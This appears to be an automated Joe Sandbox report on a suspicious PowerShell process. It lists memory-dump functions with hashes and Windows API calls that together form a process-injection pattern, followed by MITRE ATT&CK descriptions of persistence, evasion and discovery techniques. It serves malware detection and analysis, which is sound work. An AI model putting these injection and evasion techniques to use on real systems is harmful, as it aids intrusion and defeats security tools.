Memory Dump Source

Source File: 00000013.00000002.3187807070.0000000007D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7d00000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq$$sq$$sq
API String ID: 0-148891389
Opcode ID: 0b14dcdc909f51a942382e4657f9730b88077499e2b6571fac52563167889dbf
Instruction ID: a8831bab4d423cdcfd9175e8c99534192d896fec55be4795502fcb73f2ffada2
Opcode Fuzzy Hash: 0b14dcdc909f51a942382e4657f9730b88077499e2b6571fac52563167889dbf
Instruction Fuzzy Hash: 0B01BCA1B1D2C66BC32B42781820321BFB29FC361076A10EBC581CB293ED258D4583F3

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 1220, Parent PID: 7736COMMON

Execution Graph

Execution Coverage:	12.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	72
Total number of Limit Nodes:	0

Executed Functions

Function 07240E90 Relevance: 15.6, Strings: 12, Instructions: 572
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

tPsq, xrefs: 07241171
$sq, xrefs: 0724134B
$sq, xrefs: 0724132F
4'sq, xrefs: 072411FF
tPsq, xrefs: 07240F4A
tPsq, xrefs: 07241165
4'sq, xrefs: 072411F3
$sq, xrefs: 07241385
$sq, xrefs: 07241367
$sq, xrefs: 07241373
$sq, xrefs: 07241391
tPsq, xrefs: 07240F3E

Memory Dump Source

Source File: 00000014.00000002.3180413270.0000000007240000.00000040.00000800.00020000.00000000.sdmp, Offset: 07240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7240000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq$tPsq$tPsq$tPsq$tPsq$$sq$$sq$$sq$$sq$$sq$$sq
API String ID: 0-1077855021
Opcode ID: c49d3a6798537aa4b1a3268425f9318d4485ecab30fa97b76e76307721dcb572
Instruction ID: 5493b192047fb503c41b45dbed8a74412cb687c97ebd469fbb5b154df26b35c4
Opcode Fuzzy Hash: c49d3a6798537aa4b1a3268425f9318d4485ecab30fa97b76e76307721dcb572
Instruction Fuzzy Hash: C8022DB1B2424A9FDB298B79884076AFFF2AFC5710F24806AD945CB282DF71DC91C751

Uniqueness

Uniqueness Score: -1.00%

Function 072406E0 Relevance: 6.6, Strings: 5, Instructions: 311
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'sq, xrefs: 072408C3
$sq, xrefs: 07240821
$sq, xrefs: 072407D9
$sq, xrefs: 07240815
4'sq, xrefs: 072408B7

Memory Dump Source

Source File: 00000014.00000002.3180413270.0000000007240000.00000040.00000800.00020000.00000000.sdmp, Offset: 07240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7240000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq$$sq$$sq$$sq
API String ID: 0-737313894
Opcode ID: 0d21061fa2cf2335d4a11293b6194ac6053e4c6968e9deff99708177c51467d4
Instruction ID: e91e8adec5e97f11a4928f4b42a1890d4c2e58804ba52ee0e0f46a32e5636798
Opcode Fuzzy Hash: 0d21061fa2cf2335d4a11293b6194ac6053e4c6968e9deff99708177c51467d4
Instruction Fuzzy Hash: 559135B27342079BDB385A78885077ABB92AFC1750F2480BAD745CF282DF75C981C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 072406C0 Relevance: 3.9, Strings: 3, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$sq, xrefs: 072407D9
$sq, xrefs: 07240815
4'sq, xrefs: 072408B7

Memory Dump Source

Source File: 00000014.00000002.3180413270.0000000007240000.00000040.00000800.00020000.00000000.sdmp, Offset: 07240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7240000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$$sq$$sq
API String ID: 0-3312675230
Opcode ID: be98e9205f96c159de1e95faedc7ff7b16db1ecb43b05183a8966b35126680c8
Instruction ID: d8c398cdd9b0e6b9a0ff1c81e8a731161094b0317f47f2f9200947dca9fe2971
Opcode Fuzzy Hash: be98e9205f96c159de1e95faedc7ff7b16db1ecb43b05183a8966b35126680c8
Instruction Fuzzy Hash: 3941D6F1634247DFDB395A2199017797BA1AF86740F0440FADB019F292DB79CA84CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 072423CC Relevance: 3.6, Strings: 2, Instructions: 1129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(osq, xrefs: 07242496
(osq, xrefs: 072424A6

Memory Dump Source

Source File: 00000014.00000002.3180413270.0000000007240000.00000040.00000800.00020000.00000000.sdmp, Offset: 07240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7240000_powershell.jbxd

Similarity

API ID:
String ID: (osq$(osq
API String ID: 0-4199119687
Opcode ID: e323947d67b5c983b54b86e58a4e8d827798f149ba4f0fe5764f389c4073abe6
Instruction ID: 85ac25ff30bfea65bb5ffe8e989342c3dff9149126a313c0bf42b3fafa69d096
Opcode Fuzzy Hash: e323947d67b5c983b54b86e58a4e8d827798f149ba4f0fe5764f389c4073abe6
Instruction Fuzzy Hash: F74117B172424BDFCB1D8F69D8647A9BBE2FF85310F14806AF5118B291DB71C851CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0724082F Relevance: 2.5, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$sq, xrefs: 07240850
4'sq, xrefs: 072408B7

Memory Dump Source

Source File: 00000014.00000002.3180413270.0000000007240000.00000040.00000800.00020000.00000000.sdmp, Offset: 07240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7240000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$$sq
API String ID: 0-1247463228
Opcode ID: ed73d76fdc8b61de0ea64cd55362927d0f644d15b4369ff124a7259356445d65
Instruction ID: 1bd7ece4bf0c3d57de6c832da5bbb5f69f07155b8dd0425c43e6672c28275a67
Opcode Fuzzy Hash: ed73d76fdc8b61de0ea64cd55362927d0f644d15b4369ff124a7259356445d65
Instruction Fuzzy Hash: 0701F7F1725106ABCE396724990176D7761EFC5710F1040A6EB01AF682CF76CD81C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 07241EFF Relevance: 2.5, Strings: 2, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'sq, xrefs: 07241F2E
4'sq, xrefs: 07241F22

Memory Dump Source

Source File: 00000014.00000002.3180413270.0000000007240000.00000040.00000800.00020000.00000000.sdmp, Offset: 07240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7240000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq
API String ID: 0-780347173
Opcode ID: 8b83978c0f59559aa1469b084ee71a6ad295a9e5510278ac02cb848e5dc324f5
Instruction ID: 4ea2bd15e406ea34755e53d99e5c8e446bb1b8efc23fdff0450a8aeded77fce1
Opcode Fuzzy Hash: 8b83978c0f59559aa1469b084ee71a6ad295a9e5510278ac02cb848e5dc324f5
Instruction Fuzzy Hash: D3E020B5B3D38E4ACF1D527494503A8FBE17FC3251F514196C78087182DB398867C392

Uniqueness

Uniqueness Score: -1.00%

Function 00CC7A24 Relevance: 1.8, APIs: 1, Instructions: 326
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00CC7CEF

Memory Dump Source

Source File: 00000014.00000002.2682132172.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_cc0000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 0e4cdfc89fb1b94885e408d2dcbb1de4f1e98500b72214bb2a97956a9114a61c
Instruction ID: 860dcd5925380c7bbb123b07248e08e9e2a3769f14407fab9d8a3f6326b4947b
Opcode Fuzzy Hash: 0e4cdfc89fb1b94885e408d2dcbb1de4f1e98500b72214bb2a97956a9114a61c
Instruction Fuzzy Hash: 11C1F4B1D002298FDF24CFA8C841BEDBBB1FB49310F1096A9D819B7250DB749A85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00CC7A28 Relevance: 1.8, APIs: 1, Instructions: 323
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00CC7CEF

Memory Dump Source

Source File: 00000014.00000002.2682132172.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_cc0000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: f157bd83b6367901de8e1c85adf7eb2e75ef2a2dc10f51d353895d7bce40cb6c
Instruction ID: c6c4c9bc47db20a3cf781a20239cd8b091421c5f2acf2f04779db0aa0b0c7eff
Opcode Fuzzy Hash: f157bd83b6367901de8e1c85adf7eb2e75ef2a2dc10f51d353895d7bce40cb6c
Instruction Fuzzy Hash: 7FC1E3B1D002298FDF24CFA8C881BEDBBB1FB49300F1096A9D419B7250DB749A85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00CC7689 Relevance: 1.6, APIs: 1, Instructions: 120
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 00CC7763

Memory Dump Source

Source File: 00000014.00000002.2682132172.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_cc0000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 4033d40ebf76545b5f46d342680d895f7bbd732a42bc4d65b16123b61a28fd6b
Instruction ID: f0aa6f75ee3906e25ef4afc22b8ed20b413ebb23f2e4834b51f8894598445d38
Opcode Fuzzy Hash: 4033d40ebf76545b5f46d342680d895f7bbd732a42bc4d65b16123b61a28fd6b
Instruction Fuzzy Hash: B94198B5D012599FCF00CFA9D984AEEBBF1FB49310F24942AE818B7210D775AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00CC7690 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 00CC7763

Memory Dump Source

Source File: 00000014.00000002.2682132172.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_cc0000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 3bd337f22ca5bac3fa0970779a3f4c395c0c8f9ec8b586c7a1ccda007f1d0757
Instruction ID: 0ed6b87b49172779766854da1b2e6db808f86cf12acda84fb10d0cab2689432f
Opcode Fuzzy Hash: 3bd337f22ca5bac3fa0970779a3f4c395c0c8f9ec8b586c7a1ccda007f1d0757
Instruction Fuzzy Hash: 9341A9B5D012599FCF00CFA9D984AEEBBF1FB49310F24902AE818B7210D774AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00CC7563 Relevance: 1.6, APIs: 1, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 00CC7612

Memory Dump Source

Source File: 00000014.00000002.2682132172.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_cc0000_powershell.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a5586af6d3cc0253283ccd4531c5ed0e4e8078067867bf6a478e0a81a8ff251b
Instruction ID: e893fb5882b5b29fa70a55e7fc0d67d8df80694f1ba67efebb9a7a8acb264fe6
Opcode Fuzzy Hash: a5586af6d3cc0253283ccd4531c5ed0e4e8078067867bf6a478e0a81a8ff251b
Instruction Fuzzy Hash: A741A8B4D002599FCF10CFA9D981A9EBBB1FF59320F20942AE815B7300D775A906CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00CC7568 Relevance: 1.6, APIs: 1, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 00CC7612

Memory Dump Source

Source File: 00000014.00000002.2682132172.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_cc0000_powershell.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8f405b5292f462c6964472895e6be9e5948df3ace3961324a6f99e2e7b4c6f52
Instruction ID: 3ec0b0d6e0fe074f64c6e1c277112c61cfbcb76cbfdc4f4b9c1b49d59161d890
Opcode Fuzzy Hash: 8f405b5292f462c6964472895e6be9e5948df3ace3961324a6f99e2e7b4c6f52
Instruction Fuzzy Hash: 1D41A9B4D002599FCF10CFA9D980A9EBBB1FB59320F10941AE815B7300D775A901CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00CC7431 Relevance: 1.6, APIs: 1, Instructions: 99
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 00CC74E7

Memory Dump Source

Source File: 00000014.00000002.2682132172.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_cc0000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 5d9b47ef10f45f4adf86f881795b3d1ac915b2c701741bf3de2d18bdcc601b5c
Instruction ID: 9f002518f76d366bdfee22a2df79ec90f0272997a3b971eac3ea8b56a7972371
Opcode Fuzzy Hash: 5d9b47ef10f45f4adf86f881795b3d1ac915b2c701741bf3de2d18bdcc601b5c
Instruction Fuzzy Hash: BD41CBB5D012599FCB10CFA9D985AAEBBF1EB48320F24802AE419B7240D778AA45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00CC7438 Relevance: 1.6, APIs: 1, Instructions: 96
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 00CC74E7

Memory Dump Source

Source File: 00000014.00000002.2682132172.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_cc0000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 1abf871ac894ab0c7eb0dbd40cd5a1ea07f807dd5b0bfd37f24017b241de09f2
Instruction ID: 08843fa4751cfd04df802a68e766f2bcf159dc6b9cb95d633054f97454fefc8f
Opcode Fuzzy Hash: 1abf871ac894ab0c7eb0dbd40cd5a1ea07f807dd5b0bfd37f24017b241de09f2
Instruction Fuzzy Hash: 5C41BDB5D002599FCB14CFA9D985ADEFBF5EF48320F24802AE419B7240C778A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00CC7341 Relevance: 1.6, APIs: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32(?), ref: 00CC73C6

Memory Dump Source

Source File: 00000014.00000002.2682132172.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_cc0000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: d13ea8d42bc946f6d12d8dc1d7566e6fbb4e0b0ea6da0d62b7f830757d0075b6
Instruction ID: 69843af95f8e61e5bfba8417c92e9ed9e38b78facf8c8daad473680efdb90359
Opcode Fuzzy Hash: d13ea8d42bc946f6d12d8dc1d7566e6fbb4e0b0ea6da0d62b7f830757d0075b6
Instruction Fuzzy Hash: A331CAB4D012599FCF14CFAAD981A9EFBB4EF48320F24942AE819B7300D775A901CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00CC7348 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32(?), ref: 00CC73C6

Memory Dump Source

Source File: 00000014.00000002.2682132172.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_cc0000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 2001ef0b1dff8c52a876c61a9c55f996e5d60aa8f3bf03874472e401f93ee6b0
Instruction ID: b7b2845d18948ac666dde76ce961385276b4f2a22952ef79a5d2934e54a7ec80
Opcode Fuzzy Hash: 2001ef0b1dff8c52a876c61a9c55f996e5d60aa8f3bf03874472e401f93ee6b0
Instruction Fuzzy Hash: E331BCB4D012599FCF14CFAAD985A9EFBB4EF49320F14942AE815B7310C775A901CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00ABD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2669055248.0000000000ABD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ABD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_abd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78451d12d2e47057344e872c5778e25dae6d5f7a351fbbe1cb2ba4ef24faebaf
Instruction ID: 1d7df3f77d7a9f03632709774c0f3008f22fc557795914a6a534add1b84ac1b1
Opcode Fuzzy Hash: 78451d12d2e47057344e872c5778e25dae6d5f7a351fbbe1cb2ba4ef24faebaf
Instruction Fuzzy Hash: 600126714093009AE720AF29CCC0BA7BFECDF41334F18C42AED4A5B243D6799841DAB1

Uniqueness

Uniqueness Score: -1.00%

Function 00ABD01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2669055248.0000000000ABD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ABD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_abd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15bf072ad95518c0d685197cf5f9b0dc3b7e5385d4e6325f4503164b3ed4f8c3
Instruction ID: 0503f4fca7463ec2741e51ae01b3ebaaff205728c2d93481bd7bb13857f93588
Opcode Fuzzy Hash: 15bf072ad95518c0d685197cf5f9b0dc3b7e5385d4e6325f4503164b3ed4f8c3
Instruction Fuzzy Hash: 1CF0C272404344AEE7108B15C9C4BA2FFDCEB51334F18C05AED485A687C279A840CAB0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 07240128 Relevance: 5.0, Strings: 4, Instructions: 50COMMON

Download Yara Rule

Strings

$sq, xrefs: 07240172
4'sq, xrefs: 07240194
$sq, xrefs: 0724017E
4'sq, xrefs: 072401A0

Memory Dump Source

Source File: 00000014.00000002.3180413270.0000000007240000.00000040.00000800.00020000.00000000.sdmp, Offset: 07240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7240000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq$$sq$$sq
API String ID: 0-148891389
Opcode ID: d4e36e5a13402c0aaa3dd45bcc768e56b0c7fd3b373a246fd5cd57d203f3849f
Instruction ID: d1459f1c92425e3b6a24fed525c1214a8d6b2db04be173544f434756b3c37ff3
Opcode Fuzzy Hash: d4e36e5a13402c0aaa3dd45bcc768e56b0c7fd3b373a246fd5cd57d203f3849f
Instruction Fuzzy Hash: BC01B5A273D2C65FD32B02740820065BF72AFC360072910E7D280CB253EE254E45C3A6

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.
Tactics:	Persistence
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

